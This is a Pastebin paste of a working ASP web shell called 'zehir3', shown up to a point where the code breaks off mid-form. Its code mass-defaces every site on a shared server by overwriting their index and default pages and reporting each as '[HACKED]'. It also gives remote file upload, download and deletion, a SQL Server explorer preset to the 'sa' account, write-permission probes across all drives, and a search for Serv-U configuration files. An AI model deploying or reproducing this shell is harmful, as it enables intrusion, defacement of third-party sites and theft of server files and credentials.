jesobreira

webdayvers.asp;.txt

Apr 14th, 2013
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 51.32 KB | None | 0 0
  1. <%
  2. mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
  3. dosyaPath = mid(mpat,InStrRev(mpat,"\")+1)
  4. on error resume next
  5. Dim objFSO,popup
  6. Set objFSO = CreateObject ("Scripting.FileSystemObject")
  7. if Request("kuskapani")=1 then
  8.     Response.End
  9. end if
  10.  
  11.  
  12. if Request("kuskapani")=2 then
  13.     on error resume next
  14.     path = Request("path")
  15.     sFolder = Request("SubFolder")
  16.     fName = Request("FileName")
  17.     d1 = Request("dosya1")
  18.     d2 = Request("dosya2")
  19.     d3 = Request("dosya3")
  20.     d4 = Request("dosya4")
  21.     d5 = Request("dosya5")
  22.     d6 = Request("dosya6")
  23.     bg__ = Request.Form("selectColour")
  24.     if bg__ = "0" then bg__ = "#ffffff"
  25.     byMesaj = "<body bgColor='"&bg__&"'>" & Request("byMesaj") '& "<br><br><center><font color=gray size=2>Hmei7</font>"
  26.  
  27.     sFolder = Replace(sFolder,"/","\")
  28.  
  29.     if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
  30.     Set f = objFSO.GetFolder(Path)
  31.     Set fc = f.SubFolders
  32.     h__ = 0
  33.     f__ = 0
  34.     ss__ = now
  35.     For Each f1 In fc
  36.         hedef_ = replace(f1.path,"/","\")
  37.         if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
  38.         hedef__ = left(hedef_,len(hedef_)-1)
  39.         folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
  40.             if d1<>"" then d1 = true
  41.             if d2<>"" then d2 = true
  42.             if d3<>"" then d3 = true
  43.             if d4<>"" then d4 = true
  44.         if d5<>"" then d5 = true
  45.         if d6<>"" then d6 = true
  46.             on error goto 0:on error resume next
  47.             if fName<>"" then
  48.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
  49.                 MyFile.write byMesaj
  50.             end if
  51.             if d1 then
  52.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
  53.                 MyFile.write byMesaj
  54.             end if
  55.             if d2 then
  56.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.html", True)
  57.                 MyFile.write byMesaj
  58.             end if
  59.             if d3 then
  60.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
  61.                 MyFile.write byMesaj
  62.             end if
  63.             if d4 then
  64.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
  65.                 MyFile.write byMesaj
  66.             end if
  67.             if d5 then
  68.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.php", True)
  69.                 MyFile.write byMesaj
  70.             end if
  71.             if d6 then
  72.                 Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.html", True)
  73.                 MyFile.write byMesaj
  74.             end if
  75.  
  76.             if err<>0 then
  77.                 response.Write folderName_ & " <font color=red>[FAILED!]</font><br>"
  78.                 f__ = f__ + 1
  79.             else
  80.                 response.Write folderName_ & " <font color=blue>[HACKED]</font><br>"
  81.                 h__ = h__ + 1
  82.             end if
  83.     Next
  84.     ss___ = now
  85.     response.Write "<br><font color=white>by zehir!...</font><br><b>Keterangan : </b> mbuh : "&left(ss__-ss___,5)&"sn. ;)<br><font color=blue>Hacked</font> = "&h__&"<br><font color=red>Failed</font> = "&f__
  86.     response.End
  87. end if
  88.  
  89. status = Request("status")
  90. path   = Request("path")
  91. dPath  = Request("dPath")
  92. arama  = Request("txArama")
  93. dkayit = Request("dkayit")
  94. table  = Request("table")
  95. del    = Request("del")
  96. islem  = Request("islem")
  97. strSQL = Request("strSQL")
  98. cf       = Request("cf")
  99. pathfile = request("pathfile")
  100. if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
  101. if status="" then status=2
  102. popup = true
  103. '////////////////////////////////
  104. Function ReadBinaryFile(FileName)
  105.   Const adTypeBinary = 1
  106.   Dim BinaryStream
  107.   Set BinaryStream = CreateObject("ADODB.Stream")
  108.   BinaryStream.Type = adTypeBinary
  109.   BinaryStream.Open
  110.   BinaryStream.LoadFromFile FileName
  111.   ReadBinaryFile = BinaryStream.Read
  112. End Function
  113. if status="-3" then
  114.     Response.Buffer=True
  115.     Set Fil = objFSO.GetFile(pathfile)
  116.  
  117.     Response.contenttype="application/force-download"
  118.     Response.AddHeader "Cache-control","private"
  119.     Response.AddHeader "Content-Length", Fil.Size
  120.     Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
  121.  
  122.     Response.BinaryWrite readBinaryFile(Fil.path)
  123.     Set f = Nothing: Set Fil = Nothing
  124.     response.End()
  125. end if
  126. '//////////////////////////////////
  127. if status="-4" then popup=false
  128. if status="13" then popup=false
  129. if status="14" then popup=false
  130. if status="15" then popup=false
  131. if status="16" then popup=false
  132. if status="17" then popup=false
  133. if status="18" then popup=false
  134. if status="19" then popup=false
  135. if status="33" then popup=false
  136. if status="40" then popup=false
  137. if status="50" then popup=false
  138. byMsg = request.QueryString("byMsg")
  139. if byMsg<>"" then response.Write byMsg
  140. response.Write "<title>zehir3 --> powered by zehir</title>"
  141. if popup then
  142. %>
  143. <center>
  144. <a href="<%=dosyaPath%>?mevla=1&status=13" onclick="sistemBilgisi(this.href);return false;">System Info</a>
  145. <font color=yellow> | </font>
  146. <a href="<%=dosyaPath%>?mevla=1&status=40" onclick="sistemTest(this.href);return false;">System Test</a>
  147. <font color=yellow> | </font>
  148. <a href="<%=dosyaPath%>?mevla=1&status=50&path=<%=path%>" onclick="SitelerTestte(this.href);return false;">Sites Test</a>
  149. <font color=yellow> | </font>
  150. <a href="<%=dosyaPath%>?mevla=1&status=14&path=<%=path%>" onclick="klasorIslemleri(this.href);return false;">Folder Action</a>
  151. <font color=yellow> | </font>
  152. <a href="<%=dosyaPath%>?mevla=1&status=15" onclick="sqlServer(this.href);return false;">SQL Server</a>
  153. <font color=yellow> | </font>
  154. <a href="<%=dosyaPath%>?mevla=1&status=33" onclick="poweredby(this.href);return false;">POWERED BY</a>
  155. <script language=javascript>
  156.     function sistemBilgisi(yol){
  157.         NewWindow(yol,"",600,240,"no");
  158.     }
  159.     function SitelerTestte(yol){
  160.         NewWindow(yol,"",530,420,"no");
  161.     }
  162.     function klasorIslemleri(yol){
  163.         NewWindow(yol,"",400,280,"no");
  164.     }
  165.     function sqlServer(yol){
  166.         NewWindow(yol,"",300,50,"no");
  167.     }
  168.     function poweredby(yol){
  169.         NewWindow(yol,"",300,50,"no");
  170.     }
  171.     function sistemTest(yol){
  172.         NewWindow(yol,"",400,300,"no");
  173.     }
  174. </script>
  175. <%
  176. end if
  177. '####################################
  178. Class clsUpload
  179.     Private mbinData
  180.     Private mlngChunkIndex
  181.     Private mlngBytesReceived
  182.     Private mstrDelimiter
  183.     Private CR
  184.     Private LF
  185.     Private CRLF
  186.     Private mobjFieldAry()
  187.     Private mlngCount
  188.  
  189.     Private Sub RequestData
  190.         Dim llngLength
  191.         mlngBytesReceived = Request.TotalBytes
  192.         mbinData = Request.BinaryRead(mlngBytesReceived)
  193.     End Sub
  194.  
  195.     Private Sub ParseDelimiter()
  196.         mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
  197.     End Sub
  198.  
  199.     Private Sub ParseData()
  200.         Dim llngStart
  201.         Dim llngLength
  202.         Dim llngEnd
  203.         Dim lbinChunk
  204.         llngStart = 1
  205.         llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
  206.         While Not llngStart = 0
  207.             llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
  208.             llngLength = llngEnd - llngStart
  209.             lbinChunk = MidB(mbinData, llngStart, llngLength)
  210.             Call ParseChunk(lbinChunk)
  211.             llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
  212.         Wend
  213.     End Sub
  214.  
  215.     Private Sub ParseChunk(ByRef pbinChunk)
  216.         Dim lstrName
  217.         Dim lstrFileName
  218.         Dim lstrContentType
  219.         Dim lbinData
  220.         Dim lstrDisposition
  221.         Dim lstrValue
  222.         lstrDisposition = ParseDisposition(pbinChunk)
  223.         lstrName = ParseName(lstrDisposition)
  224.         lstrFileName = ParseFileName(lstrDisposition)
  225.         lstrContentType = ParseContentType(pbinChunk)
  226.         If lstrContentType = "" Then
  227.             lstrValue = CStrU(ParseBinaryData(pbinChunk))
  228.         Else
  229.             lbinData = ParseBinaryData(pbinChunk)
  230.         End If
  231.         Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
  232.     End Sub
  233.  
  234.     Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
  235.         Dim lobjField
  236.         ReDim Preserve mobjFieldAry(mlngCount)
  237.         Set lobjField = New clsField
  238.         lobjField.Name = pstrName
  239.         lobjField.FilePath = pstrFileName
  240.         lobjField.ContentType = pstrContentType
  241.         If LenB(pbinData) = 0 Then
  242.             lobjField.BinaryData = ChrB(0)
  243.             lobjField.Value = pstrValue
  244.             lobjField.Length = Len(pstrValue)
  245.         Else
  246.             lobjField.BinaryData = pbinData
  247.             lobjField.Length = LenB(pbinData)
  248.             lobjField.Value = ""
  249.         End If
  250.         Set mobjFieldAry(mlngCount) = lobjField
  251.         mlngCount = mlngCount + 1
  252.     End Sub
  253.  
  254.     Private Function ParseBinaryData(ByRef pbinChunk)
  255.         Dim llngStart
  256.         llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
  257.         If llngStart = 0 Then Exit Function
  258.         llngStart = llngStart + 4
  259.         ParseBinaryData = MidB(pbinChunk, llngStart)
  260.     End Function
  261.  
  262.     Private Function ParseContentType(ByRef pbinChunk)
  263.         Dim llngStart
  264.         Dim llngEnd
  265.         Dim llngLength
  266.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
  267.         If llngStart = 0 Then Exit Function
  268.         llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
  269.         If llngEnd = 0 Then Exit Function
  270.         llngStart = llngStart + 15
  271.         If llngStart >= llngEnd Then Exit Function
  272.         llngLength = llngEnd - llngStart
  273.         ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
  274.     End Function
  275.  
  276.     Private Function ParseDisposition(ByRef pbinChunk)
  277.         Dim llngStart
  278.         Dim llngEnd
  279.         Dim llngLength
  280.         llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
  281.         If llngStart = 0 Then Exit Function
  282.         llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
  283.         If llngEnd = 0 Then Exit Function
  284.         llngStart = llngStart + 22
  285.         If llngStart >= llngEnd Then Exit Function
  286.         llngLength = llngEnd - llngStart
  287.         ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
  288.     End Function
  289.  
  290.     Private Function ParseName(ByRef pstrDisposition)
  291.         Dim llngStart
  292.         Dim llngEnd
  293.         Dim llngLength
  294.         llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
  295.         If llngStart = 0 Then Exit Function
  296.         llngEnd = InStr(llngStart + 6, pstrDisposition, """")
  297.         If llngEnd = 0 Then Exit Function
  298.         llngStart = llngStart + 6
  299.         If llngStart >= llngEnd Then Exit Function
  300.         llngLength = llngEnd - llngStart
  301.         ParseName = Mid(pstrDisposition, llngStart, llngLength)
  302.     End Function
  303. ' ------------------------------------------------------------------------------
  304.     Private Function ParseFileName(ByRef pstrDisposition)
  305.         Dim llngStart
  306.         Dim llngEnd
  307.         Dim llngLength
  308.         llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
  309.         If llngStart = 0 Then Exit Function
  310.         llngEnd = InStr(llngStart + 10, pstrDisposition, """")
  311.         If llngEnd = 0 Then Exit Function
  312.         llngStart = llngStart + 10
  313.         If llngStart >= llngEnd Then Exit Function
  314.         llngLength = llngEnd - llngStart
  315.         ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
  316.     End Function
  317.  
  318.     Public Property Get Count()
  319.         Count = mlngCount
  320.     End Property
  321.  
  322.     Public Default Property Get Fields(ByVal pstrName)
  323.         Dim llngIndex
  324.         If IsNumeric(pstrName) Then
  325.             llngIndex = CLng(pstrName)
  326.             If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
  327.                 Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
  328.                 Exit Property
  329.             End If
  330.             Set Fields = mobjFieldAry(pstrName)
  331.         Else
  332.             pstrName = LCase(pstrname)
  333.             For llngIndex = 0 To mlngCount - 1
  334.                 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
  335.                     Set Fields = mobjFieldAry(llngIndex)
  336.                     Exit Property
  337.                 End If
  338.             Next
  339.         End If
  340.         Set Fields = New clsField
  341.     End Property
  342.  
  343.     Private Sub Class_Terminate()
  344.         Dim llngIndex
  345.         For llngIndex = 0 To mlngCount - 1
  346.             Set mobjFieldAry(llngIndex) = Nothing
  347.  
  348.         Next
  349.         ReDim mobjFieldAry(-1)
  350.     End Sub
  351.  
  352.     Private Sub Class_Initialize()
  353.         ReDim mobjFieldAry(-1)
  354.         CR = ChrB(Asc(vbCr))
  355.         LF = ChrB(Asc(vbLf))
  356.         CRLF = CR & LF
  357.         mlngCount = 0
  358.         Call RequestData
  359.         Call ParseDelimiter()
  360.         Call ParseData
  361.     End Sub
  362.  
  363.     Private Function CStrU(ByRef pstrANSI)
  364.         Dim llngLength
  365.         Dim llngIndex
  366.         llngLength = LenB(pstrANSI)
  367.         For llngIndex = 1 To llngLength
  368.             CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
  369.         Next
  370.     End Function
  371.  
  372.     Private Function CStrB(ByRef pstrUnicode)
  373.         Dim llngLength
  374.         Dim llngIndex
  375.         llngLength = Len(pstrUnicode)
  376.         For llngIndex = 1 To llngLength
  377.             CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
  378.         Next
  379.     End Function
  380. End Class
  381. '####################################
  382. Session("n1") = "" '"by Ejder"
  383. Class clsField
  384.     Public Name
  385.     Private mstrPath
  386.     Public FileDir
  387.     Public FileExt
  388.     Public FileName
  389.     Public ContentType
  390.     Public Value
  391.     Public BinaryData
  392.     Public Length
  393.     Private mstrText
  394.  
  395.     Public Property Get BLOB()
  396.         BLOB = BinaryData
  397.     End Property
  398.  
  399.     Public Function BinaryAsText()
  400.         Dim lbinBytes
  401.         Dim lobjRs
  402.         If Length = 0 Then Exit Function
  403.         If LenB(BinaryData) = 0 Then Exit Function
  404.  
  405.         If Not Len(mstrText) = 0 Then
  406.             BinaryAsText = mstrText
  407.             Exit Function
  408.         End If
  409.         lbinBytes = ASCII2Bytes(BinaryData)
  410.            mstrText = Bytes2Unicode(lbinBytes)
  411.         BinaryAsText = mstrText
  412.     End Function
  413.  
  414.     Public Sub SaveAs(ByRef pstrFileName)
  415.         Const adTypeBinary=1
  416.         Const adSaveCreateOverWrite=2
  417.         Dim lobjStream
  418.         Dim lobjRs
  419.         Dim lbinBytes
  420.         If Length = 0 Then Exit Sub
  421.         If LenB(BinaryData) = 0 Then Exit Sub
  422.         Set lobjStream = Server.CreateObject("ADODB.Stream")
  423.         lobjStream.Type = adTypeBinary
  424.         Call lobjStream.Open()
  425.         lbinBytes = ASCII2Bytes(BinaryData)
  426.         Call lobjStream.Write(lbinBytes)
  427.  
  428.         On Error Resume Next
  429.  
  430.         Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
  431.  
  432.         'if err<>0 then response.Write "<br>"&err.Description
  433.  
  434.         Call lobjStream.Close()
  435.         Set lobjStream = Nothing
  436.     End Sub
  437.  
  438.     Public Property Let FilePath(ByRef pstrPath)
  439.         mstrPath = pstrPath
  440.         If Not InStrRev(pstrPath, ".") = 0 Then
  441.             FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
  442.             FileExt = UCase(FileExt)
  443.         End If
  444.         If Not InStrRev(pstrPath, "\") = 0 Then
  445.             FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
  446.         End If
  447.         If Not InStrRev(pstrPath, "\") = 0 Then
  448.             FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
  449.         End If
  450.     End Property
  451.  
  452.     Public Property Get FilePath()
  453.         FilePath = mstrPath
  454.     End Property
  455.  
  456.     private Function ASCII2Bytes(ByRef pbinBinaryData)
  457.         Const adLongVarBinary=205
  458.         Dim lobjRs
  459.         Dim llngLength
  460.         Dim lbinBuffer
  461.         llngLength = LenB(pbinBinaryData)
  462.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  463.         Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
  464.         Call lobjRs.Open()
  465.         Call lobjRs.AddNew()
  466.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
  467.         Call lobjRs.Update()
  468.         lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
  469.         Call lobjRs.Close()
  470.         Set lobjRs = Nothing
  471.         ASCII2Bytes = lbinBuffer
  472.     End Function
  473.  
  474.     Private Function Bytes2Unicode(ByRef pbinBytes)
  475.         Dim lobjRs
  476.         Dim llngLength
  477.         Dim lstrBuffer
  478.         llngLength = LenB(pbinBytes)
  479.         Set lobjRs = Server.CreateObject("ADODB.Recordset")
  480.         Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
  481.         Call lobjRs.Open()
  482.         Call lobjRs.AddNew()
  483.         Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
  484.         Call lobjRs.Update()
  485.         lstrBuffer = lobjRs.Fields("BinaryData").Value
  486.         Call lobjRs.Close()
  487.         Set lobjRs = Nothing
  488.         Bytes2Unicode = lstrBuffer
  489.     End Function
  490. End Class
  491. Session("n2") = "" '"Ejder"
  492. '####################################
  493. function addslash(path)
  494.     if right(path,1)="\" then addslash=path else addslash=path & "\"
  495. end function
  496.  
  497. sub Upload()
  498.     dim objUpload,f,max,i,name,path,size,success
  499.  
  500.     set objUpload=New clsUpload
  501.  
  502.     targetPath=objUpload.Fields("folder").Value
  503.     max=objUpload.Fields("max").Value
  504.  
  505.     for i=1 to max
  506.         name=objUpload.Fields("file" & i).FileName
  507.         size=objUpload.Fields("file" & i).Length
  508.         if (name<>"") and (size>0) then
  509.             gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
  510.             path=addslash(targetPath) & name
  511.             objUpload.Fields("file" & i).SaveAs path
  512.  
  513.             if objFSO.FileExists(path) then
  514.                 on error resume next
  515.                 set f=objFSO.GetFile(path)
  516.                 if IsObject(f) then
  517.                     if f.Size=size then success=true else success=false
  518.                 end if
  519.                 set f=nothing
  520.             end if
  521.             if success then  gMsg=gMsg & "<font color=blue>uploaded</font>" else gMsg = gMsg & "<font color=red>failed!</font>"
  522.         end if
  523.     next
  524.     response.Write gMsg
  525.     set objUpload=nothing
  526.  
  527. end sub
  528.  
  529. if status="-4" then
  530.     Upload()
  531. '    hataKontrol
  532.     popup=false
  533. end if
  534. '////////////////////////////////
  535. sub hataKontrol
  536.     if err<>0 then
  537.         Response.Write "<font color=red size=2>Hata : "&err.Description&"</font>"
  538.     end if
  539. end sub
  540.  
  541. sub araBul(path_,ara_)
  542.     on error resume next
  543.     If Len(path_) > 0 Then
  544.         cur = path_&"\"
  545.         If cur = "\\" Then cur = ""
  546.             parent = ""
  547.             If InStrRev(cur,"\") > 0 Then
  548.             parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
  549.         End If
  550.     Else
  551.         cur = ""
  552.     End If
  553.  
  554.     Set f = objFSO.GetFolder(cur)
  555.  
  556.     Set fc = f.Files
  557.     For Each f1 In fc
  558.         if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
  559.             downStr = "<font face=webdings size=5><a href='"&dosyapath&"?status=-3&pathFile="&f1.path&"&Time="&time&"'>Í</a></font>"
  560.             if lcase(ara_)="mdb" then
  561.                 Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a></font> * <a href='"&dosyapath&"?status=7&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  562.             else
  563.                 Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a><a href='"&dosyapath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a></font> - <a href='"&dosyapath&"?status=5&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  564.             end if
  565.         end if
  566.     Next
  567.  
  568.     Set fs = f.SubFolders
  569.     For Each f1 In fs
  570.         araBul f1.path,ara_
  571.     Next
  572.     Set    f        = Nothing
  573.     Set fc        = Nothing
  574.     Set fs        = Nothing
  575. end sub
  576.  
  577. sub sistemTest
  578.     response.Write "<table width='100%' align=center cellpadding=0 cellspacing=0 border=1>"
  579.     response.Write "<tr bgcolor=#ffffc0><td width='30%' align=center><font color=navy><b>Lokasi</td><td width='70%' align=center><font color=navy><b>Keterangan</td></tr>"
  580.  
  581.     servu_Test
  582.     WriteTestOnDriver
  583.     WriteTestOnLocalPath
  584.     LocalPathParentFolder
  585.     LocalPathPParentFolder
  586.  
  587.     response.Write "</table>"
  588. end sub
  589.  
  590. sub servu_Test
  591.     dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
  592.     for each drive_ in objFSO.Drives
  593.         if drive_.Drivetype=2 or drive_.Drivetype=3 then
  594.             for each d_ in dosya_
  595.                 d_ = drive_.DriveLetter&":\"&d_
  596.                 if objFSO.FileExists(d_) then
  597.                     response.Write "<tr><td><b>Serv-U ini file : </td><td><font color=yellow>"&d_&"</td></tr>"
  598.                 end if
  599.             next
  600.         end if
  601.     next
  602. end sub
  603.  
  604. function yaziyomu(yol)
  605.     on error goto 0:on error resume next
  606.     dim sonuc__
  607.     Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  608.     MyFile.write "byzehir"
  609.     set MyFile = Nothing
  610.     if err<>0 then
  611.         sonuc__="<font color=red>This file is very dangerous !!, delete me plz</font>"
  612.     else
  613.         sonuc__="<font color=yellow>Yazma Hakký Var! (bahasane aneh) </font>"
  614.         on error goto 0: on error resume next
  615.         objFSO.DeleteFile yol & "\test.zehir",true
  616.         if err<>0 then
  617.             sonuc__=sonuc__&"<br><font color=red>Silme Hakký Yok!</font>"
  618.         else
  619.             sonuc__=sonuc__&"<br><font color=yellow>Silme Hakký Var!</font>"
  620.         end if
  621.     end if
  622.     yaziyomu = sonuc__
  623. end function
  624.  
  625. function yaziyomu2(yol)
  626.     on error goto 0:on error resume next
  627.     Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  628.     MyFile.write "byzehir"
  629.     set MyFile = Nothing
  630.     if err<>0 then
  631.         yaziyomu2 = false
  632.     else
  633.         objFSO.DeleteFile yol & "\test.zehir"
  634.         yaziyomu2 = true
  635.     end if
  636. end function
  637.  
  638. sub WriteTestOnDriver
  639.     for each drive_ in objFSO.Drives
  640.         if drive_.Drivetype=2 or drive_.Drivetype=3 then
  641.             if not yaziyomu2(drive_.DriveLetter&":\") then
  642.                 Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=red>tidak bisa diciptakan file, tapi mungkin folder didalamnya bisa : ["&err.Description&"]</td></tr>"
  643.             else
  644.                 Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=yellow>Folder ini dapat diciptakan file</td></tr>"
  645.             end if
  646.         end if
  647.     next
  648. end sub
  649.  
  650. sub WriteTestOnLocalPath
  651.     on error goto 0
  652.     on error resume next
  653.     if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
  654.         Response.Write "<tr><td><b>Local Path </td><td><font color=red>tidak bisa diciptakan file, tapi mungkin folder didalamnya bisa : ["&err.Description&"]</td></tr>"
  655.     else
  656.         Response.Write "<tr><td><b>Local Path </td><td><font color=yellow>Folder ini dapat diciptakan file</td></tr>"
  657.     end if
  658. end sub
  659.  
  660. sub LocalPathParentFolder
  661.     on error goto 0
  662.     on error resume next
  663.     hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  664.     if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  665.     parhed_ = left(hed_,InStrRev(hed_,"\"))
  666.  
  667.     Set f = objFSO.GetFolder(parhed_)
  668.     Set fc = f.SubFolders
  669.  
  670.     int_fol=0
  671.     int_fil=0
  672.     For Each f1 In fc
  673.         int_fol=int_fol+1
  674.     Next
  675.  
  676.     Set fc = f.files
  677.     For Each f1 In fc
  678.         int_fil=int_fil+1
  679.     Next
  680.  
  681.     if err<>0 then
  682.         Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=red>Hata Oluþtu : ["&err.Description&"]</td></tr>"
  683.     else
  684.         Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  685.     end if
  686. end sub
  687.  
  688. sub LocalPathPParentFolder
  689.     on error goto 0
  690.     on error resume next
  691.     hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  692.     if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  693.     hed_ = left(hed_,InStrRev(hed_,"\"))
  694.     if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  695.     parhed_ = left(hed_,InStrRev(hed_,"\"))
  696.  
  697.     Set f = objFSO.GetFolder(parhed_)
  698.     Set fc = f.SubFolders
  699.     int_fol=0
  700.     int_fil=0
  701.     For Each f1 In fc
  702.         int_fol=int_fol+1
  703.     Next
  704.  
  705.     Set fc = f.files
  706.     For Each f1 In fc
  707.         int_fil=int_fil+1
  708.     Next
  709.  
  710.     if err<>0 then
  711.         if err=451 then
  712.             Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Data Üst Klasor Yok :)</td></tr>"
  713.         else
  714.             Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Hata Oluþtu : ["&err.Description&"]</td></tr>"
  715.         end if
  716.     else
  717.         Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  718.     end if
  719. end sub
  720.  
  721. SELECT CASE status
  722. CASE 13 'Sistem Bilgisi
  723.     Response.Write "<table width=100% cellpadding=0 cellspacing=0><tr><td colspan=2 align=center><font color=yellow face='courier new'><b><font style='FONT-WEIGHT:normal' color=red face=wingdings>:</font> Informasi target<font color=red face=wingdings style='FONT-WEIGHT:normal'>:</font></td></tr>"
  724.     Response.Write "<tr><td><b><font color=red>Local Adres</td><td> " & request.servervariables("REMOTE_ADDR") & "</td></tr>"
  725.     Response.Write "<tr><td><b><font color=red>User Agent</td><td> " & request.servervariables("HTTP_USER_AGENT") & "</td></tr>"
  726.     Response.Write "<tr><td><b><font color=red>Server</td><td> " & request.servervariables("SERVER_NAME") & "</td></tr>"
  727.     Response.Write "<tr><td><b><font color=red>IP</td><td> " & request.servervariables("LOCAL_ADDR") & "</td></tr>"
  728.     Response.Write "<tr><td><b><font color=red>HTTPD</td><td> " & request.servervariables("SERVER_SOFTWARE") & "</td></tr>"
  729.     Response.Write "<tr><td><b><font color=red>Port</td><td> " & request.servervariables("SERVER_PORT") & "</td></tr>"
  730.     Response.Write "<tr><td><b><font color=red>Yol</td><td> " & request.servervariables("APPL_PHYSICAL_PATH") & "</td></tr>"
  731.     Response.Write "<tr><td><b><font color=red>Log Root</td><td> " & request.servervariables("APPL_MD_PATH") & "</td></tr>"
  732.     Response.Write "<tr><td><b><font color=red>HTTPS</td><td> " & request.servervariables("HTTPS") & "</td></tr>"
  733.     Response.Write "</table>"
  734.     popup = false
  735. CASE 14 'Upload and Search
  736.     aramaUpload
  737.     popup = false
  738.     hataKontrol
  739. CASE 15 'Ms. SQL Server
  740.     Response.Write "<form method=get action='"&DosyPath&"' target='_opener' id=form1 name=form1>"
  741.     Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>Tentukan koneksi SQL Server</td></tr><tr><td align=center>"
  742.     Response.Write "<input type=hidden value='7' name=status><input type=hidden value='"&time&"' name=Time>"
  743.     Response.Write "<input style='width:250; height:21' value='Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=Northwind' name=path><br>"
  744.     response.Write "<input type=submit value='Explorasi SQL Server !!' style='height:23;width:170' id=submit1 name=submit1>"
  745.     Response.Write "</td></tr></table>"
  746.     response.Write "</form>"
  747.  
  748.     popup = false
  749.     hataKontrol
  750. CASE 16 'file Copy window
  751.     Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  752.     Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  753.     Response.Write "<input type=hidden value='17' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  754.     Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
